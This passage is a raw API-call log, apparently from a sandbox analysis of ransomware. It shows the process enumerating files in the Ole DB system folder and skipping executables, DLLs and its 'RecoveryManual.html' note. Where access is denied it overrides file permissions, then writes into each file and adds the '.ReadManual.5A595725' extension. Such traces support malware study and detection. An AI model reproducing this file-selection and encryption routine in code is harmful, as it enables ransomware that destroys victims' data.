ftCreationTime.dwLowDateTime=0x2ab69cf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x2ab69cf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x838ac7b0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0xf000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdasqlr.dll", cAlternateFileName="")) returned 1 [0250.333] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="msdasqlr.dll" | out: lpString1="msdasqlr.dll") returned="msdasqlr.dll" [0250.333] lstrcmpiW (lpString1="msdasqlr.dll", lpString2="RecoveryManual.html") returned -1 [0250.333] StrStrIW (lpFirst="msdasqlr.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.333] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.333] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.333] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc3c3a6b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfc3c3a6b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0x349f2860, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x20000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msdatl3.dll", cAlternateFileName="")) returned 1 [0250.333] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="msdatl3.dll" | out: lpString1="msdatl3.dll") returned="msdatl3.dll" [0250.333] lstrcmpiW (lpString1="msdatl3.dll", lpString2="RecoveryManual.html") returned -1 [0250.333] StrStrIW (lpFirst="msdatl3.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.333] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.333] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.333] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1d2cdc0, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x1d2cdc0, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x383128c0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="msxactps.dll", cAlternateFileName="")) returned 1 [0250.333] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="msxactps.dll" | out: lpString1="msxactps.dll") returned="msxactps.dll" [0250.333] lstrcmpiW (lpString1="msxactps.dll", lpString2="RecoveryManual.html") returned -1 [0250.333] StrStrIW (lpFirst="msxactps.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.333] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.333] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.333] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84c2ad0f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84c2ad0f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84c50e6f, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledb32.dll", cAlternateFileName="")) returned 1 [0250.333] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="oledb32.dll" | out: lpString1="oledb32.dll") returned="oledb32.dll" [0250.333] lstrcmpiW (lpString1="oledb32.dll", lpString2="RecoveryManual.html") returned -1 [0250.333] StrStrIW (lpFirst="oledb32.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.333] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.333] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.333] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfabf604b, ftCreationTime.dwHighDateTime=0x1ca0419, ftLastAccessTime.dwLowDateTime=0xfabf604b, ftLastAccessTime.dwHighDateTime=0x1ca0419, ftLastWriteTime.dwLowDateTime=0xdf9a48f0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x14000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledb32r.dll", cAlternateFileName="")) returned 1 [0250.333] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="oledb32r.dll" | out: lpString1="oledb32r.dll") returned="oledb32r.dll" [0250.333] lstrcmpiW (lpString1="oledb32r.dll", lpString2="RecoveryManual.html") returned -1 [0250.333] StrStrIW (lpFirst="oledb32r.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.333] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.333] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.333] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa4ffde2f, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x264c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledbjvs.inc", cAlternateFileName="")) returned 1 [0250.334] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="oledbjvs.inc" | out: lpString1="oledbjvs.inc") returned="oledbjvs.inc" [0250.334] lstrcmpiW (lpString1="oledbjvs.inc", lpString2="RecoveryManual.html") returned -1 [0250.334] StrStrIW (lpFirst="oledbjvs.inc", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.334] StrCmpIW (psz1="inc", psz2="exe") returned 1 [0250.334] StrCmpIW (psz1="inc", psz2="dll") returned 1 [0250.334] StrCmpIW (psz1="inc", psz2="sys") returned -1 [0250.334] StrCmpIW (psz1="inc", psz2="msi") returned -1 [0250.334] StrCmpIW (psz1="inc", psz2="mui") returned -1 [0250.334] StrCmpIW (psz1="inc", psz2="inf") returned -1 [0250.334] StrCmpIW (psz1="inc", psz2="cat") returned 1 [0250.334] StrCmpIW (psz1="inc", psz2="bat") returned 1 [0250.334] StrCmpIW (psz1="inc", psz2="cmd") returned 1 [0250.334] StrCmpIW (psz1="inc", psz2="ps1") returned -1 [0250.334] StrCmpIW (psz1="inc", psz2="vbs") returned -1 [0250.334] StrCmpIW (psz1="inc", psz2="ttf") returned -1 [0250.334] StrCmpIW (psz1="inc", psz2="fon") returned 1 [0250.334] StrCmpIW (psz1="inc", psz2="lnk") returned -1 [0250.334] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" [0250.334] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.ReadManual.5A595725" [0250.334] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc.ReadManual.5A595725") returned 80 [0250.334] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37100284709) returned 1 [0250.334] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc")) returned 0x20 [0250.335] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.335] GetLastError () returned 0x5 [0250.335] GetNamedSecurityInfoW () returned 0x0 [0250.335] SetNamedSecurityInfoW () returned 0x0 [0250.336] SetNamedSecurityInfoW () returned 0x0 [0250.336] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbjvs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbjvs.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.336] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9804) returned 1 [0250.336] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x264c, lpName=0x0) returned 0x184 [0250.336] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb0) returned 1 [0250.337] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.337] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.339] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.339] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x264c) returned 0x2f0000 [0250.339] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.339] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37100770738) returned 1 [0250.339] CloseHandle (hObject=0x184) returned 1 [0250.339] SetSecurityInfo () returned 0x5 [0250.339] SetSecurityInfo () returned 0x5 [0250.339] LocalFree (hMem=0x674d38) returned 0x0 [0250.339] CloseHandle (hObject=0x194) returned 1 [0250.339] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa542845b, ftCreationTime.dwHighDateTime=0x1ca0409, ftLastAccessTime.dwLowDateTime=0xa542845b, ftLastAccessTime.dwHighDateTime=0x1ca0409, ftLastWriteTime.dwLowDateTime=0xa52d1816, ftLastWriteTime.dwHighDateTime=0x1ca0409, nFileSizeHigh=0x0, nFileSizeLow=0x26f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="oledbvbs.inc", cAlternateFileName="")) returned 1 [0250.339] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="oledbvbs.inc" | out: lpString1="oledbvbs.inc") returned="oledbvbs.inc" [0250.339] lstrcmpiW (lpString1="oledbvbs.inc", lpString2="RecoveryManual.html") returned -1 [0250.339] StrStrIW (lpFirst="oledbvbs.inc", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.339] StrCmpIW (psz1="inc", psz2="exe") returned 1 [0250.339] StrCmpIW (psz1="inc", psz2="dll") returned 1 [0250.339] StrCmpIW (psz1="inc", psz2="sys") returned -1 [0250.339] StrCmpIW (psz1="inc", psz2="msi") returned -1 [0250.339] StrCmpIW (psz1="inc", psz2="mui") returned -1 [0250.340] StrCmpIW (psz1="inc", psz2="inf") returned -1 [0250.340] StrCmpIW (psz1="inc", psz2="cat") returned 1 [0250.340] StrCmpIW (psz1="inc", psz2="bat") returned 1 [0250.340] StrCmpIW (psz1="inc", psz2="cmd") returned 1 [0250.340] StrCmpIW (psz1="inc", psz2="ps1") returned -1 [0250.340] StrCmpIW (psz1="inc", psz2="vbs") returned -1 [0250.340] StrCmpIW (psz1="inc", psz2="ttf") returned -1 [0250.340] StrCmpIW (psz1="inc", psz2="fon") returned 1 [0250.340] StrCmpIW (psz1="inc", psz2="lnk") returned -1 [0250.340] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" [0250.340] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.ReadManual.5A595725" [0250.340] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc.ReadManual.5A595725") returned 80 [0250.340] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37100864420) returned 1 [0250.340] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc")) returned 0x20 [0250.340] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.340] GetLastError () returned 0x5 [0250.340] GetNamedSecurityInfoW () returned 0x0 [0250.340] SetNamedSecurityInfoW () returned 0x0 [0250.341] SetNamedSecurityInfoW () returned 0x0 [0250.341] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\oledbvbs.inc" (normalized: "c:\\program files\\common files\\system\\ole db\\oledbvbs.inc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.341] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=9975) returned 1 [0250.341] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x26f7, lpName=0x0) returned 0x184 [0250.341] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb0) returned 1 [0250.342] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.342] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.343] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.343] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x26f7) returned 0x2f0000 [0250.344] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.344] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37101247035) returned 1 [0250.344] CloseHandle (hObject=0x184) returned 1 [0250.344] SetSecurityInfo () returned 0x5 [0250.344] SetSecurityInfo () returned 0x5 [0250.344] LocalFree (hMem=0x674d38) returned 0x0 [0250.344] CloseHandle (hObject=0x194) returned 1 [0250.344] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92f0bf91, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92f0bf91, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92f320f1, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x128000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqloledb.dll", cAlternateFileName="")) returned 1 [0250.344] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="sqloledb.dll" | out: lpString1="sqloledb.dll") returned="sqloledb.dll" [0250.344] lstrcmpiW (lpString1="sqloledb.dll", lpString2="RecoveryManual.html") returned 1 [0250.344] StrStrIW (lpFirst="sqloledb.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.344] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.344] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.344] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc9350f, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xcc9350f, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xcc210f8, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x4000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqloledb.rll", cAlternateFileName="")) returned 1 [0250.344] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="sqloledb.rll" | out: lpString1="sqloledb.rll") returned="sqloledb.rll" [0250.344] lstrcmpiW (lpString1="sqloledb.rll", lpString2="RecoveryManual.html") returned 1 [0250.344] StrStrIW (lpFirst="sqloledb.rll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.344] StrCmpIW (psz1="rll", psz2="exe") returned 1 [0250.344] StrCmpIW (psz1="rll", psz2="dll") returned 1 [0250.344] StrCmpIW (psz1="rll", psz2="sys") returned -1 [0250.344] StrCmpIW (psz1="rll", psz2="msi") returned 1 [0250.344] StrCmpIW (psz1="rll", psz2="mui") returned 1 [0250.344] StrCmpIW (psz1="rll", psz2="inf") returned 1 [0250.344] StrCmpIW (psz1="rll", psz2="cat") returned 1 [0250.345] StrCmpIW (psz1="rll", psz2="bat") returned 1 [0250.345] StrCmpIW (psz1="rll", psz2="cmd") returned 1 [0250.345] StrCmpIW (psz1="rll", psz2="ps1") returned 1 [0250.345] StrCmpIW (psz1="rll", psz2="vbs") returned -1 [0250.345] StrCmpIW (psz1="rll", psz2="ttf") returned -1 [0250.345] StrCmpIW (psz1="rll", psz2="fon") returned 1 [0250.345] StrCmpIW (psz1="rll", psz2="lnk") returned 1 [0250.345] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" [0250.345] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.ReadManual.5A595725" [0250.345] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll.ReadManual.5A595725") returned 80 [0250.345] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37101360514) returned 1 [0250.345] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll")) returned 0x20 [0250.346] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.346] GetLastError () returned 0x5 [0250.346] GetNamedSecurityInfoW () returned 0x0 [0250.346] SetNamedSecurityInfoW () returned 0x0 [0250.346] SetNamedSecurityInfoW () returned 0x0 [0250.347] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqloledb.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqloledb.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0250.347] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16384) returned 1 [0250.347] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4000, lpName=0x0) returned 0x184 [0250.347] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xb0) returned 1 [0250.348] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0250.348] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0250.348] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0250.349] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4000) returned 0x2f0000 [0250.350] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0250.350] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=37101845004) returned 1 [0250.350] CloseHandle (hObject=0x184) returned 1 [0250.350] SetSecurityInfo () returned 0x5 [0250.350] SetSecurityInfo () returned 0x5 [0250.350] LocalFree (hMem=0x674d38) returned 0x0 [0250.350] CloseHandle (hObject=0x194) returned 1 [0250.350] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x14f7e4bf, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0x14f7e4bf, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0x44773fc0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x59000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlxmlx.dll", cAlternateFileName="")) returned 1 [0250.350] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="sqlxmlx.dll" | out: lpString1="sqlxmlx.dll") returned="sqlxmlx.dll" [0250.350] lstrcmpiW (lpString1="sqlxmlx.dll", lpString2="RecoveryManual.html") returned 1 [0250.350] StrStrIW (lpFirst="sqlxmlx.dll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.350] StrCmpIW (psz1="dll", psz2="exe") returned -1 [0250.350] StrCmpIW (psz1="dll", psz2="dll") returned 0 [0250.350] FindNextFileW (in: hFindFile=0x6bfec0, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc9e5c85, ftCreationTime.dwHighDateTime=0x1ca041a, ftLastAccessTime.dwLowDateTime=0xc9e5c85, ftLastAccessTime.dwHighDateTime=0x1ca041a, ftLastWriteTime.dwLowDateTime=0xc97386e, ftLastWriteTime.dwHighDateTime=0x1ca041a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="sqlxmlx.rll", cAlternateFileName="")) returned 1 [0250.350] lstrcpyW (in: lpString1=0x6ab8fc, lpString2="sqlxmlx.rll" | out: lpString1="sqlxmlx.rll") returned="sqlxmlx.rll" [0250.350] lstrcmpiW (lpString1="sqlxmlx.rll", lpString2="RecoveryManual.html") returned 1 [0250.350] StrStrIW (lpFirst="sqlxmlx.rll", lpSrch=".ReadManual.5A595725") returned 0x0 [0250.350] StrCmpIW (psz1="rll", psz2="exe") returned 1 [0250.350] StrCmpIW (psz1="rll", psz2="dll") returned 1 [0250.350] StrCmpIW (psz1="rll", psz2="sys") returned -1 [0250.350] StrCmpIW (psz1="rll", psz2="msi") returned 1 [0250.350] StrCmpIW (psz1="rll", psz2="mui") returned 1 [0250.350] StrCmpIW (psz1="rll", psz2="inf") returned 1 [0250.350] StrCmpIW (psz1="rll", psz2="cat") returned 1 [0250.351] StrCmpIW (psz1="rll", psz2="bat") returned 1 [0250.351] StrCmpIW (psz1="rll", psz2="cmd") returned 1 [0250.351] StrCmpIW (psz1="rll", psz2="ps1") returned 1 [0250.351] StrCmpIW (psz1="rll", psz2="vbs") returned -1 [0250.351] StrCmpIW (psz1="rll", psz2="ttf") returned -1 [0250.351] StrCmpIW (psz1="rll", psz2="fon") returned 1 [0250.351] StrCmpIW (psz1="rll", psz2="lnk") returned 1 [0250.351] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" [0250.351] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.ReadManual.5A595725" [0250.351] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll.ReadManual.5A595725") returned 79 [0250.351] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=37101956569) returned 1 [0250.351] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll")) returned 0x20 [0250.351] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0250.351] GetLastError () returned 0x5 [0250.351] GetNamedSecurityInfoW () returned 0x0 [0250.351] SetNamedSecurityInfoW () returned 0x0 [0250.352] SetNamedSecurityInfoW () returned 0x0 [0250.352] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Common Files\\System\\Ole DB\\sqlxmlx.rll" (normalized: "c:\\program files\\common files\\system\\ole db\\sqlxmlx.rll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, 